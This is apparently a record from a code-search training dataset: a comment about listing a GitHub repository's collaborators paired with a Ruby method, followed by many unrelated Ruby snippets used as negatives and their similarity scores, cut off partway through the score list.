"def view_other_users\n other_user_name = TTY::Prompt.new.select(\"Which fellow drinker would you like to see more about?\", Consumer.where.not(name: self.name).pluck(:name))\n other_user = Consumer.find_by(name: other_user_name)\n TTY::Prompt.new.select(\"What would you like to see about #{other_user_name}?\") do |menu|\n menu.choice \"View #{other_user_name}'s fridge\", -> {other_user.view_fridge}\n menu.choice \"View #{other_user_name}'s quick stats\", -> {other_user.quick_stats}\n end\n end",
"def index\n\t\t\n\t\t# @admins=User.where(admin: true)\n\t #Only show users that aren't admin(only the community are shown)\n\t @users = User.where(admin: false).order(\"first_name ASC\")\n\n\t if params[:search_user].present?\t\n\t \t#Storing user with capital letter on first letter of name and rest downcase.\n\n user_search= params[:search_user].downcase.split(\" \")\n \t\n @users= @users.where(\"first_name ILIKE ? OR last_name ILIKE ? OR last_name ILIKE ?\", \"#{user_search[0]}\", \"#{user_search[1]}\",\"#{user_search[0]}\")\n \n end\n end",
"def find_for_authentication(username)\n find_by_query do |table|\n table.select(:id,:authz_id,:username, :pubkey_version,:public_key).where(:username => username)\n end\n end",
"def find_all_collabs_for_repo\n puts \"Enter a repo name with *EXACT* spelling and capitalization:\"\n input = gets_user_input\n repo_by_project_name = find_repo_by_project_name(input)\n if repo_by_project_name == nil\n puts \"No repo found\"\n else\n repo_by_project_name.users.each do |user|\n puts user.github_username\n end\n end\n menu\n end",
"def user(id_or_username = \"my\", params = {})\n if id_or_username.is_a?(Fixnum) || id_or_username == 'my'\n find_user_by_id id_or_username, params\n else\n find_user_by_username id_or_username, params\n end\n end",
"def user_profile \n system 'clear'\n CoffeeMan.stay_logo\n choice = @prompt.select(\"~P R O F I L E~\") do |menu|\n puts \"HELLO #{@userid.username}\".colorize(:light_blue)\n menu.choice \"Update Username\", -> {change_username}\n menu.choice \"Update Password\", -> {change_password}\n menu.choice \"Delete Account\", -> {delete_profile}\n menu.choice \"Back\", -> {main_menu}\n end\n sleep 1\n end",
"def menu\n puts \"#{dashes}\\n\n Choose from the following options - using the numbers (1-6) as your input:\\n\n - 1 - Create your user profile\n - 2 - Search for doctors by region\n - 3 - Search for doctors by specialty\n - 4 - Search for the doctors the user has visited\n - 5 - Does something else\n - 6 - Quit the application\n \"\n end",
"def findSearch(usr, command, methodName)\n begin\n if (command.count == 0)\n if(methodName == 'purgeSearches')\n return 0\n else\n return methodName + ' requires you to indicate a search number. Send \"S\" to view all of your searches.'\n end\n elsif (command.count != 1)\n return 'To run ' + methodName + ', you must indicate only the search number.'\n elsif (command[0].to_i == 0)\n return \"In \" + methodName + \": couldn't make a number out of \" + command[0].to_s\n elsif (Search.find(command[0]) == nil)\n if(command[0] < Search.maximum(\"id\"))\n return \"In \" + methodName + \": S#\" + command[0].to_s + \" has been removed.\"\n else\n return \"In \" + methodName + \": There has never been a Search with ID: \" + command[0].to_s\n end\n else\n if(Search.find(command[0]).userIDs.split('|').reject {|s| s.empty?}.member? usr.id.to_s)\n @log.info(6, \"Found search id belonging to user\", :usr, :command, :methodName){}\n return Search.find(command[0])\n else\n return \"In \" + methodName + \": S#\" + command[0] + \" does not belong to you, \" + usr.firstName\n end\n end\n rescue Exception => e\n @log.error(6, 'Exception caught inside of', :__method__){}\n @log.error(6, e.message){}\n @log.error(6, e.backtrace.inspect){}\n return nil\n end\n end",
"def selectOptionByName(list, option_name)\n case list\n when \"Roles Allowed to Assign and Remove Idea Coordinator\" then\n rolesideacoordinator.find(\"option\", :text => /\\A#{option_name}\\Z/).select_option\n\n ###Security Page options###\n when \"Users Who Can Include Links\" then\n rolestoincludelinks_selector.find(\"option\", :text => /\\A#{option_name}\\Z/).select_option\n\n else\n \"'#{list}' list doesn't exist.\"\n end\n sleep 2\n end",
"def show\n if params[:id].to_i.to_s == params[:id]\n @user = User.find(params[:id])\n else\n @user = User.find_by(username: params[:id])\n end\n end",
"def login_as\n @page_title = _('Login_as')\n @page_icon = 'key.png'\n\n\n @users = User.select(\"*, #{SqlExport.nice_user_sql}\").where(hidden: 0).order(\"nice_user ASC\")\n\n end",
"def search_by_name(name)\n name = name.capitalize\n result_name = []\n @name_list.each_value do |element|\n if element.include? name\n result_name.push(element)\n end\n end\n if result_name.empty?\n puts \"Nobody has name is #{name}\"\n else\n puts \"\\nList member of #{name} keyword\"\n result_name.each do |element|\n index = @name_list.values.index(element)\n show_profile(index, @name_list, @dob_list)\n end\n puts \"\\n\"\n end\n end",
"def steal_username\n\t[\n\t\t# the user's .hgrc file for a username field\n\t\t['~/.hgrc', /^\\s*username\\s*=\\s*([\"'])?(.*)\\1$/, 2],\n\t\t# the user's .(g)vimrc for a changelog_username setting\n\t\t['~/.vimrc', /changelog_username\\s*=\\s*([\"'])?(.*)\\1$/, 2],\n\t\t['~/.gvimrc', /changelog_username\\s*=\\s*([\"'])?(.*)\\1$/, 2],\n\t].each do |fn, rx, idx|\n\t\tfile = File.expand_path fn\n\t\tif File.readable?(file) and File.read(file) =~ rx\n\t\t\tparse_options[:authors][user] = Regexp.last_match(idx).strip\n\t\t\tbreak\n\t\tend\n\tend\nend",
"def select_recipe_from_search(recipe_titles)\n puts ''\n selection = @prompt.select(\"Please select a recipe:\".colorize(:color => :blue), (recipe_titles))\n @selected_rec = recipe_instances.find { |recipe| recipe.title == selection }\n puts ''\n puts @selected_rec.content\n end"
] |
[
"0.6810114",
"0.65572774",
"0.6270093",
"0.62483037",
"0.6242715",
"0.6159332",
"0.61587626",
"0.61482286",
"0.6108352",
"0.60970324",
"0.6087779",
"0.6068651",
"0.60253084",
"0.6016672",
"0.592034",
"0.5911519",
"0.589854",
"0.5894874",
"0.5883342",
"0.58583015",
"0.5832458",
"0.58046514",
"0.579514",
"0.5794886",
"0.5784971",
"0.57713825",
"0.57618654",
"0.57379353",
"0.570608",
"0.5703822",
"0.56961185",
"0.56665146",
"0.5648548",
"0.56446344",
"0.56438756",
"0.56210095",
"0.55962694",
"0.5589198",
"0.5585838",
"0.5574553",
"0.55722487",
"0.55487335",
"0.55368656",
"0.55120385",
"0.5506759",
"0.54961085",
"0.5492458",
"0.54921126",
"0.5479748",
"0.5477082",
"0.54686385",
"0.54537123",
"0.54525477",
"0.5452506",
"0.5450465",
"0.54477376",
"0.5440374",
"0.542575",
"0.5423326",
"0.5422037",
"0.5421746",
"0.5420549",
"0.5413948",
"0.54084665",
"0.5394344",
"0.53877574",
"0.53868926",
"0.53770775",
"0.53662926",
"0.5365255",
"0.5363945",
"0.5355454",
"0.5349625",
"0.53215986",
"0.53182393",
"0.5313842",
"0.5313091",
"0.53081334",
"0.5297219",
"0.5296854",
"0.529436",
"0.5288034",
"0.52879786",
"0.52871543",
"0.52816546",
"0.5278848",
"0.5273502",
"0.5269011",
"0.52629024",
"0.5259489",
"0.52564657",
"0.5256152",
"0.5254129",
"0.5251793",
"0.52503926",
"0.5248463",
"0.5246152",
"0.52444804",
"0.52424115",
"0.52407587"
] |
0.7025419
|
0
|
It will only show multiple users if we added them in this program. We only make a check in our local DB for repo. Todo Find a way to get the collaborators for a repo from Github AP
|
def find_all_collabs_for_repo
puts "Enter a repo name with *EXACT* spelling and capitalization:"
input = gets_user_input
repo_by_project_name = find_repo_by_project_name(input)
if repo_by_project_name == nil
puts "No repo found"
else
repo_by_project_name.users.each do |user|
puts user.github_username
end
end
menu
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def show\n user= params[:user]\n repo= params[:repo]\n puts user\n puts repo\n url = BASE_URL + \"repos/\" + user + \"/\" + repo + \"/collaborators\"+ \"?client_id=e24305f14f7f9a67c465&client_secret=604015f905f6207ec29f3661b952397663d58347\"\n # url = BASE_URL + \"repos/rails/rails/collaborators\"\n # url = BASE_URL + \"repositories\"\n @repo = JSON.parse(open(url).read)\n @results = []\n\n\n @repo.each do |doc|\n ids = doc['login']\n url_people = BASE_URL + \"users/\" + ids + \"?client_id=e24305f14f7f9a67c465&client_secret=604015f905f6207ec29f3661b952397663d58347\"\n @results << JSON.parse(open(url_people).read)\n end\n\n end",
"def list\n # ask the repo for a list of all the users\n users = @repo.all\n # pass that list to the view to display\n @view.list_users(users)\n end",
"def get_repo_users\n repo_users = Array.new\n github = Github.new :oauth_token => github_token\n\n github.repos.list.body.each do |repo|\n repo_users << repo[\"owner\"][\"login\"]\n end\n\n repo_users\n end",
"def collaborators\n self.users.where(\"project_memberships.active = ?\", true)\n end",
"def show_repo_details\n # Synchronize repo with Git Hub (1 day between refreshs)\n @repo.sync_github!(1.day).save!\n \n # Synchronize contributors (1 hour between refreshs)\n if @repo.sync_contribs_delay?(1.hour)\n github_contributors_login = @repo.get_github_contributors\n \n if github_contributors_login\n users = CacheUser.where(login: github_contributors_login)\n\n # Drop any relation with old contributors - I think i've wasted my time\n if users.length > 0\n CacheContrib.where(cache_repo_id: @repo).where.not(cache_user_id: users.map(&:id)).delete_all\n end\n\n # Add new contributors with empty personal data\n new_users = github_contributors_login - users.map(&:login)\n new_users.each do |github_login_new|\n CacheUser.create(login: github_login_new)\n end\n \n # Make link for each contributor\n current_contribs = CacheUser.joins(:cache_contribs).where(cache_contribs: {cache_repo_id: @repo.id})\n CacheUser.where(login: github_contributors_login).where.not(id: current_contribs).each do |user|\n user.cache_contribs.build(cache_repo: @repo)\n user.save\n end\n end\n \n @repo.upd_userlist_at = Time.now\n @repo.save!\n end\n \n # Load contributors from cache, contributors without personal data or too old are first\n # Nota : I use this method because a simple select order by synced_on show nil in first\n # but I read than oracle put them at the end depending server configuration. This suck !\n @users = CacheUser.never_synced.only_repo(@repo).order(:updated_at)\n @users.merge CacheUser.synced_from(4.days).only_repo(@repo).order(:synced_on, :updated_at)\n \n # Update contributors personal data if too old or never updated\n if @users.length > 0\n maxlist = @users.length <= 148 ? @users.length : 148 # Not exceed 148 personal data requests\n \n # Synchronize personal data of contributors : Old method\n # -> not enought efficient with large contributors list\n # @users[0...maxlist].each {|contributor| contributor.reload.sync_github!(4.days).save!}\n\n # Synchronize personal data of contributors : Use threads for concurrent requests\n work_queue = Queue.new \n # Add to the working queue all logins to proceed by threads\n @users[0...maxlist].map(&:login).each {|github_login| work_queue.push github_login}\n \n # Launch up to 10 threads\n # Warning : Each worker use a connection from ActiveRecord's pool. See database.yml for\n # set the pool size (count also the connection for this main thread).\n workers = (0...10).map do\n Thread.new do\n until work_queue.empty? do\n github_login = work_queue.pop(true) rescue nil\n if github_login\n user = CacheUser.where(login: github_login).first\n if user\n user.sync_github!(4.days).save!\n end\n end\n end\n end\n end\n workers.map(&:join) # Wait all threads finished before proceeding further \n end\n # Reload fresh data.\n @users = CacheUser.only_repo(@repo)\n respond_to do |format|\n format.html { render }\n format.json { render :show_repo_details, status: :ok, location: @repo }\n end\n end",
"def collaborators\n @collaborators ||= get(\"/repos/show/#{owner.login}/#{name}/collaborators\")['collaborators'] || []\n end",
"def show_repo_list\n # Synchronize user's id_github with Git Hub (4 days between refreshs)\n @owner.sync_github!(4.days).save!\n \n # Synchronize list of user's projects (4 hours between refreshs)\n if @owner.sync_projects_delay?(4.hours)\n github_projects = @owner.get_github_projects\n \n if github_projects\n @owner.upd_projectlist_at = Time.now\n repos = CacheRepo.where(path: github_projects)\n \n # Drop any projects than no more exist in the user space\n if repos.length > 0\n CacheRepo.where.not(id: repos.map(&:id)).where(owner: @owner).delete_all\n end\n \n # Add any new project to this user\n (github_projects - repos.map(&:path)).each do |github_project_new|\n new_project = CacheRepo.new(path: github_project_new, owner: @owner)\n # Alway be aware of we have multiple workers and possibility concurrent insert\n if !new_project.save\n new_project = CacheRepo.where(path: github_project_new).first\n new_project.owner = @owner\n new_project.save!\n end\n end\n end\n @owner.save!\n end\n \n # Repository information will be refreshed only if the user request it\n # So, this action is more light than #show_repo_details\n @projects = CacheRepo.where(owner: @owner)\n respond_to do |format|\n format.html { render }\n format.json { render :show_repo_list, status: :ok, location: @owner }\n end\n end",
"def list_collaborators(user, repo_name)\n @connection.get(\"/repos/#{user}/#{repo_name}/collaborators\").map do |user_data|\n GitHubApi::User.new(@connection.users, user_data)\n end\n end",
"def user_repos\n @user_repos ||= (\n talk 'user repos'\n client.repos\n )\n end",
"def get_all_user_repos\n user = User.find_by(uuid: params[:uuid])\n\n client = Octokit::Client.new(:access_token => user.password)\n repo_list = []\n client.repositories(:user => user.gh_username).each { |repo|\n repo_list.push(repo.name)\n }\n render :json => {:repos => repo_list}\n end",
"def show\n @users = User.all\n authorize @colaboradore\n end",
"def index\n @github_users = GithubUser.all\n end",
"def collaborators\n collab_roles = accepted_roles.for_name(\"collaborator\")\n User.find_by_sql(\"SELECT * FROM users INNER JOIN roles_users ON roles_users.user_id = users.id WHERE roles_users.role_id IN (12)\")\n end",
"def users\n @users ||= begin\n users = client.team_members ENV[\"GITHUB_TEAM_ID\"], :per_page => 100\n while client.last_response.rels[:next] && client.rate_limit.remaining > 0\n users.concat client.get client.last_response.rels[:next].href\n end\n users.map { |u| User.new u[:login] }\n end\n end",
"def list\n # ask the user_repository for a list of all the users\n users = @user_repository.all\n # pass that list to the view to display\n @view.list_users(users)\n end",
"def find_repos(user)\n user.repos\n end",
"def user_repos\n @repos = @github.repos.list user: params[:username]\n render json: @repos\n end",
"def users\n # TODO use SQL\n results = self.approvers + self.observers + [self.requester]\n results.compact\n end",
"def search_collaborator\n # Search for email or name of collaborator\n projects = current_user.projects\n @users = Array.new\n projects.each do |project|\n project.users.each do |user|\n unless @users.include? user\n @users.push user\n end\n end\n end\n\n # Get all users if current user is a manager or admin\n if manager? || admin?\n @users = current_user.university.users\n end\n\n # Return a JSON with \"label\" and \"value\" as key required by JQueryUI autocomplete\n result = Array.new\n @users.each do |user| \n label = user.first_name + \" \" + user.last_name + \" - \" + user.email\n item = Hash[ \"label\" => label, \"value\" => user.email ]\n result.push item\n end\n\n render :json => result\n end",
"def org_users\n synchronize { return @org_users if @org_users }\n\n users = {}\n orgs = settings.github_orgs || []\n orgs.each do |org|\n octokit.organization_members(org).each do |user|\n if users.has_key?(user.login)\n users[user.login][:orgs] << org\n else\n users[user.login] = user.to_h\n users[user.login][:mfa_enabled] = true\n users[user.login][:orgs] = [org]\n end\n end\n end\n orgs.each do |org|\n octokit.organization_members(org, filter: '2fa_disabled').each do |user|\n users[user.login][:mfa_enabled] = false\n end\n end\n\n synchronize { @org_users = users }\n end",
"def users\n if design.only_unblinded\n project.unblinded_members_for_site(subject.site)\n else\n project.members_for_site(subject.site)\n end\n end",
"def index\n @collaborators = @schema.user_schemas.map do |user_schema|\n {\n id: user_schema.user.id,\n username: user_schema.user.username,\n email: user_schema.user.email,\n image: user_schema.user.image,\n access_mode: user_schema.access_mode_integer\n }\n end\n end",
"def possible_reviewers\n if self.reviewer.include?(\"/\")\n org, team = self.reviewer.split(\"/\", 2)\n access_token = integration_access_token(\n installation_id: self.repository.installation.github_id\n )\n context = { access_token: access_token }\n result = Graphql::Github.team_members(\n org: org,\n team: team,\n context: context\n )\n result.data.organization.team.members.nodes.map(&:login)\n elsif self.reviewer.match?(/^\\d+$/)\n team_members = github_client.team_members(self.reviewer)\n team_members.map(&:login)\n else\n # it's just a single user\n Array(self.reviewer)\n end\n end",
"def index\n admin?\n @collaborators = Collaborator.all\n end",
"def index\n if current_user.role == \"admin\"\n @user_role_change = true\n @users = User.all\n elsif current_user.member.category == \"kore\" \n @user_role_change = false\n circle = Circle.where(:id => current_user.member.main_circle).first\n members = circle.members\n @users = []\n members.each do |m|\n @users << m.user if m.user\n end\n puts @users\n else\n redirect_to root_path\n end\n end",
"def get_public_repos(user_name)\n get(\"/users/#{user_name}/repos\")\n end",
"def get_repos\n\t\tif current_user.nil?\n\t\t\t@repos = Repo.where(:user_id => nil)\n\t\telse\n\t\t\t@repos = current_user.repos\n\t\tend\n\tend",
"def index\n @collaborators = User.includes(:github_account).\n where.not(id: params[:ineligible_user_ids]).\n limit(20)\n\n if params[:q]\n @collaborators = @collaborators.search(params[:q])\n end\n\n respond_to do |format|\n format.json\n end\n end",
"def list_collaborators(app_name)\n collaborators = get(\"/apps/#{escape(app_name)}/collaborators\")\n\n if collaborators.class == Array\n collaborators.map { |item| {:username => item['collaborator']['user']['username']} }\n else\n return []\n end\n end",
"def contributors(exact = false)\n acl.get_users_with_role(AlbumACL::CONTRIBUTOR_ROLE, exact)\n end",
"def owned_repositories_with_user(user)\n repos = owned_repositories.publics\n repos = repos.or(user.membered_repositories.where(user_id: id)) if user\n repos\n end",
"def cached_collaborators\n #Rails.cache.fetch([self, 'collaborators']) do\n self.collaborators.select(['users.id', 'users.first_name', 'users.last_name']).to_a\n #end\n end",
"def show\n @repo_cred = @repo.repo_creds.where(created_by_id: current_user.id).first || @repo.repo_creds.new\n @repo_projects = @repo.projects @repo_cred\n logger.debug \"@repo_projects: #{@repo_projects}\"\n end",
"def owned_repositories_with_user(user)\n repos = self.owned_repositories.publics\n repos = repos.or(user.membered_repositories.where(user_id: self.id)) if user\n repos\n end",
"def user_repos1\n addons = Addon.joins(:user).where(\"lower(users.login) = ?\", params[:login].downcase)\n render json: to_v1_repo_hashes(addons)\n end",
"def find_all_organizations\n get_url(\"https://api.github.com/users/#{current_user.username}/orgs\")\n end",
"def contributor_usernames\n @contributor_usernames ||= contributors.map(&:username)\n end",
"def find_by_username_menu\n puts\n puts \"Enter a GitHub username with *EXACT* capitalization to list that user's repos:\"\n input = gets_user_input\n #if username exists in our DB, don't make API call.\n if !username_exists?(input)\n #making an API call\n get_data(input)\n end\n if find_user(input) == false\n puts \"That user doesn't exist or doesn't have any public repos\"\n menu\n else\n @user = find_user(input)\n end\n @repos = find_repos(@user)\n if show_repos(@repos) == false\n puts \"User has no repos\"\n menu\n end\n find_by_username_sub_menu\n end",
"def show_Users\n theUsers = User.select{ |user| user.group_id == self.id}\n theUsers\n end",
"def show\n\t\t@user = User.find(@project.creator)\n\t\t@total = ProjectsUser.where(project_id: @project.id).count\n\t\t@followers = User.select(\"users.id, users.name, users.email\").joins(\"JOIN projects_users ON projects_users.user_id = users.id\").where(\"projects_users.project_id = ?\", @project.id)\n end",
"def github_logins\n pull_request_commits.select(&:author).map(&:author).map(&:login).uniq\n end",
"def find_newly_added_collaborators\n emails = find_folder_members.collect{|m| m.email}\n @member_emails =[]\n params[:already_added_users] = params[:already_added_users].split(\",\").uniq - params[:deleted_users].split(\",\").uniq\n owner=find_folder_owner(params[:folder_id])\n params[:already_added_users].each do |m|\n @member_emails << m.strip if !emails.include?(m.strip) && m.strip != owner\n end\n end",
"def add_repositories_for_member name\n # For a single repo, we'd call\n # GET /users/:username/repos (see https://developer.github.com/v3/repos/#list-user-repositories)\n GithubApi.get(\"/users/#{name}/repos\").each do |r|\n @repositories << r[\"full_name\"]\n end\n end",
"def view_all_users\n # !! get all user so can interact after viewing them? all_users\n # User.select(:username).each_with_index {|user, index| puts \"#{index+1}. #{user.username}\"}\n #??????\n User.select(:username).each {|user| puts user.username}\n end",
"def index\n @users = User.all\n if current_user.pivitol_tracker_token != nil\n tracker_api = TrackerAPI.new\n @tracker_projects = tracker_api.projects(current_user.pivitol_tracker_token)\n end\n end",
"def fetch_users\n fetch_assignee + fetch_watchers\n end",
"def users\n runner_users + corporation_users\n end",
"def display_contributions(repo_full_name)\n repo = Commitchamp::Repo.find_by(full_name: repo_full_name)\n contributors = repo.contributions.order('additions + deletions + commits DESC').limit(10)\n puts \"\\n##Contributions for '#{repo.full_name}'\"\n puts \"\\nUsername | Additions | Deletions | Commits\"\n contributors.each do |x|\n puts \"#{x.user.login} | #{x.additions} | #{x.deletions} | #{x.commits}\"\n end\n puts\n end",
"def available_collaborators\n Set[*self.account.users].difference(self.users).to_a\n end",
"def users_by_name\n if in_admin_mode?\n query = create_query(:User, :all, by: :name)\n show_selected_users(query)\n else\n flash_error(:permission_denied.t)\n redirect_to(action: \"list_rss_logs\")\n end\n end",
"def get_my_repos\n repos = []\n\n (1..get_total_repo_pages_count.to_i).each do |index|\n get_json( \"#{ GITHUB_USER_REPOS_URL }?per_page=100&page=#{ index }\" ).each do |item|\n repos << item[ 'full_name' ]\n end\n end\n\n return repos\nend",
"def get_repo_names github_username , git_token\n\n Rails.cache.fetch(\"#{self.id}/repo_names\", expires_in: 6.hours) do\n repo_names = Array.new\n github = Github.new :oauth_token => git_token\n\n github.repos.list.body.each do |repo|\n if github_username == repo[\"owner\"][\"login\"]\n repo_names << { :user=>github_username ,:repo=>repo[\"name\"]}\n end\n end\n\n orgs_names = Array.new\n github.orgs.list.each do |org|\n orgs_names << org[\"login\"]\n end\n\n orgs_names.each do |oname|\n url = \"orgs/\"+oname+\"/repos\"\n \n github.get_request(url,Github::ParamsHash.new({})).each do |orepo|\n if oname == orepo[\"owner\"][\"login\"]\n repo_names << { :user=>oname ,:repo=>orepo[\"name\"]}\n end\n end\n end\n repo_names\n end\n end",
"def users_by_name # :norobots:\n if is_in_admin_mode?\n query = create_query(:User, :all, by: :name)\n show_selected_users(query)\n else\n flash_error(:permission_denied.t)\n redirect_to(action: \"list_rss_logs\")\n end\n end",
"def get_repo_list(token, user)\n query = %{\n query ($user: String!, $cursor: String) {\n user(login: $user) {\n repositories(first: 100, after: $cursor) {\n edges {\n node {\n name\n owner {\n login\n }\n }\n }\n pageInfo {\n hasNextPage\n endCursor\n }\n }\n }\n }\n }\n\n vars = { user: user, cursor: nil }\n\n repos = []\n\n loop do\n result = Github.query(token, query, vars)\n repos += result.dig(\"data\", \"user\", \"repositories\", \"edges\") || []\n break unless result.dig(\"data\", \"user\", \"repositories\", \"pageInfo\", \"hasNextPage\")\n vars[:cursor] = result.dig(\"data\", \"user\", \"repositories\", \"pageInfo\", \"endCursor\")\n end\n\n repos.map { |e| { owner: e.dig(\"node\", \"owner\", \"login\"), name: e.dig(\"node\", \"name\") } }\nend",
"def index\n @users = User.where(contributor: true)\n end",
"def index\n @users = User.where(contributor: true)\n end",
"def users_for_new_issue_watchers(issue)\n users = issue.watcher_users.select{|u| u.status == User::STATUS_ACTIVE}\n project = issue.project\n scope_users = project.users\n scope_groups = project.principals.merge(Group.givable)\n if scope_users.count + scope_groups.count <= 20\n users = (users + scope_users.sort + scope_groups.sort).uniq\n end\n users\n end",
"def assignable_users\n users = project.assignable_users\n users << author if author\n users.uniq.sort\n end",
"def export_collaborators\n repository_model.team_members.each do |collaborator|\n serialize(\"user\", collaborator[\"user\"])\n end\n end",
"def acquire_repo_list\n set_auth\n set_github_repo_name\n repo_list = []\n (@github.repos.list org: GITHUB_ORG).each do |l|\n repo_list << l[:name]\n end\n repo_list\nend",
"def index()\n @projects = Project.where(:id => Team.select(:project_id).where(user_id: session[:user_id] ).map(&:project_id))\n \n @users = User.all\n end",
"def index\n @repos = @user.repos.includes(:user)\n render json: to_json(@repos)\n end",
"def find_repos\n @current_user ||= User.find(session[:user_id]) if session[:user_id]\n @client = Octokit::Client.new(:access_token => @current_user.token)\n\n # get user input from API\n user_input_string = request.params[:_json]\n input_arr = user_input_string.gsub(/\\s+/, \"\").split(\",\")\n\n # search repos using user input\n repoids = input_arr.map do |input|\n repo = @client.repository(input)\n \"#{repo.to_hash[:id]}\"\n end\n\n # Save user search input and repos to UserPreference\n @current_user.UserPreference.search_input = user_input_string\n @current_user.UserPreference.repos = repoids.join(\",\")\n @current_user.UserPreference.save\n\n respond_to do |format|\n format.json {\n render json: repoids.to_json, status: 200\n }\n end\n end",
"def find_users_with_shared_repos\n\n (friends - [self]).sort_by do |f|\n f.repos.select { |r| repos.collect { |s| s.id }.include?(r.id) }.size\n end.reverse\n\n end",
"def active_users\n PullRequest.active_users(current_year)\n end",
"def list_org\n @users = User.where(organization: true)\n\n render \"list_org\"\n end",
"def index\n @collaborators = Collaborator.all\n end",
"def index\n @collaborators = Collaborator.all\n end",
"def editors\n @editors ||= settings.github.team_members(settings.joss_editor_team_id).collect { |e| e.login }\nend",
"def get_users\n if @project\n if ProjectUser.verify_role(current_user.id, @project, 'client')\n render json: @project.project_users, status: 200\n else\n render json: { error: 'You must be a member of a project to see its content' }, status: :unauthorized\n end\n else\n render json: { error: \"no project found with id of #{params[:id]}\" }, status: 404\n end\n end",
"def users\n users = []\n if current_user.lead?\n users = object.users.select { |u| u.id != current_user.id }\n users = users.unshift(current_user)\n elsif current_user.dev?\n vms_v = object.vms.select { |vm| vm.is_jenkins }\n users = vms_v.flat_map(&:user).uniq.select { |u| u.id != current_user.id }\n users = users.unshift(current_user)\n else\n users <<= current_user\n end\n users.map { |u| u.id }\n end",
"def show\n @collaborateurs = @aramis_entity.collaborators\n end",
"def collaborators(repo, options = {})\n paginate \"#{Repository.path repo}/collaborators\", options\n end",
"def list_current_users *args\r\n puts \"not implemented yet\"\r\n end",
"def set_users\n @can_change_owner = policy(@run || Run).current_user_allowed_to_crud?\n @users = policy_scope(User).map{|u| [ u.name, u.id ] } if @can_change_owner\n end",
"def build_users_list\n User.with_overdue_monthly_memberships.inject([]) do |list, user|\n list << \"- #{user.aka} (#{user.overdue_monthly_memberships.to_i})\"\n end.join(\"\\n\")\n end",
"def show\n @project_users = @project.users\n end",
"def sorted_top_users\n add_github_user('redline6561')\n followers = github.get_followers('redline6561',1,100)\n followers.map { |x| x['login'] }.sample(20).each do |username|\n add_github_user(username)\n end\n\n Cheepcreep::GithubUser.order(:followers => :desc).each do |u|\n puts \"User: #{u.login}, Name: #{u.name}, Followers: #{u.followers}\"\n end\nend",
"def index\n if user_id = params[:user]\n @request_for_changes = RequestForChange.where('requestor_id=? OR implementor_id=? OR management_approver_id=? OR security_approver_id=?', user_id, user_id, user_id, user_id)\n .order(id: :desc).page(params[:page]).per(INDEX_LIST_SIZE)\n @users = User.all.order(full_name: :asc)\n else\n @request_for_changes = RequestForChange.order(id: :desc).page(params[:page]).per(INDEX_LIST_SIZE)\n @users = User.all.order(full_name: :asc)\n end\n end",
"def research_individual\n @users = Array.new()\n User.all.each do |u|\n if !u.admin?\n @users.push(u)\n end\n end\n end",
"def already_on_repo?(user, repo)\n repo.users.include?(user)\n end",
"def users_for_new_pull_reviewers(pull)\n users = users_for_new_pull(pull)\n\n users.select{|user| pull.reviewable?(user) }\n end",
"def edit_users\n return self[:edit_users] unless persisted?\n (self[:edit_users] + (Wayfinder.for(self).ephemera_project&.edit_users || [])).uniq\n end",
"def index\n @groupusers = User.where(organization_id: current_user.organization_id)\n @groupresolutions = []\n @groupusers.each do |item| \n Resolution.all.each do |addition|\n if (addition.creator == item.id && !(@groupresolutions.include?(addition)))\n @groupresolutions << addition\n end\n end\n end\n puts @groupresolutions\n @resolutions = Resolution.all\n end",
"def fetch_syncables\n gh_client.repos.list.select{|repo| repo.permissions.admin}.map(&:full_name)\n end",
"def users\n res = []\n\n tmp = GoodData.get @json['project']['links']['users']\n tmp['users'].map do |user|\n res << GoodData::Membership.new(user)\n end\n\n res\n end",
"def github_user_and_project(github_url)\n matches = /github\\.com.(.*?)\\/(.*)/.match(github_url)\n matches ? [matches[1], matches[2].sub(/\\.git\\z/, '')] : [nil, nil]\n end",
"def list_all_users\n\n end",
"def getAllUsers()\n puts \"\\nUSERS:\"\n puts \"-------------------------------------------------\"\n @users.each {|user| puts \"ID: \" + user.id.to_s + \" Name: \" + user.name}\n puts \"-------------------------------------------------\"\n end",
"def project_users\n request :user\n end",
"def get_users_for_repo(neo, repo)\n\n\tneo.traverse(repo, 'nodes', {\n\t\t:order => 'breadth first',\n\t\t:uniqueness => 'node global',\n\t\t:relationships => {\n\t\t\t:type => 'follows',\n\t\t\t:direction => 'in'\n\t\t},\n\t})\n\nend",
"def get_repos\n # using oauth token to increase limit of request to github api to 5000\n client = Octokit::Client.new :access_token => self.github_token\n (client.repositories self.github_name, {:type => 'all'}).map do |repo|\n repo.full_name\n end\n end",
"def users\n return [member_1, member_2];\n end",
"def show\n @creator = User.find_by(id: @game.creator_id)\n @joined_users_name = Array.new\n @game.user_games.each do |joined_users|\n @this = User.find_by(id: joined_users.user_id)\n @joined_users_name << @this.nickname\n end\n end",
"def index\n @orgs ||= Github::Org.orgs(\n current_user_github_access_token,\n current_github_username\n )\n end",
"def users\n GroupMembers.new(:id => id).get.items\n end",
"def list_users\n tp @users, :real_name, :slack_id, :user_name => {:display_method => :name}\n end",
"def list_users(workspace)\n puts \"\\nUser List\\n\\n\"\n tp workspace.users, \"id\", \"name\", \"real_name\", \"status_text\", \"status_emoji\"\nend",
"def repo_user\n # TODO: Clarify what repo_user actually is.\n # github is currently using the repo's 'owner', gitlab is using the user who pushed.\n case @vcs\n when 'github'\n @data['repository']['owner']['login']\n when 'gitlab'\n @data['user_username']\n end\n # TODO: Bitbucket, Stash/Bitbucket Server, TFS\n end",
"def users\n company_ids = [self.id]\n company_ids += advisor_company_ids if advised?\n\n user_ids = UserAffiliation.where(:company_id.in => company_ids).with_access.only(:user_id).map(&:user_id)\n User.where(:id.in => user_ids).order_by(created_at: :asc)\n end"
] |
[
"0.7590898",
"0.73227113",
"0.72034156",
"0.7128978",
"0.6967263",
"0.6947356",
"0.6925678",
"0.6898962",
"0.6876359",
"0.6765229",
"0.6720184",
"0.67102283",
"0.6702244",
"0.6648041",
"0.65510464",
"0.65318346",
"0.65277576",
"0.6411244",
"0.64068735",
"0.6406198",
"0.6399973",
"0.6386909",
"0.6375916",
"0.6371671",
"0.63702047",
"0.6364676",
"0.63426256",
"0.6339598",
"0.6328971",
"0.6319438",
"0.63145256",
"0.63125587",
"0.6309997",
"0.6275464",
"0.627356",
"0.6270958",
"0.6259534",
"0.6247841",
"0.62255985",
"0.62209064",
"0.6219424",
"0.62148154",
"0.6204421",
"0.620276",
"0.62010044",
"0.6195417",
"0.6173882",
"0.61642027",
"0.615265",
"0.6150463",
"0.61378527",
"0.61155164",
"0.6106678",
"0.6105711",
"0.6098696",
"0.6098696",
"0.60857725",
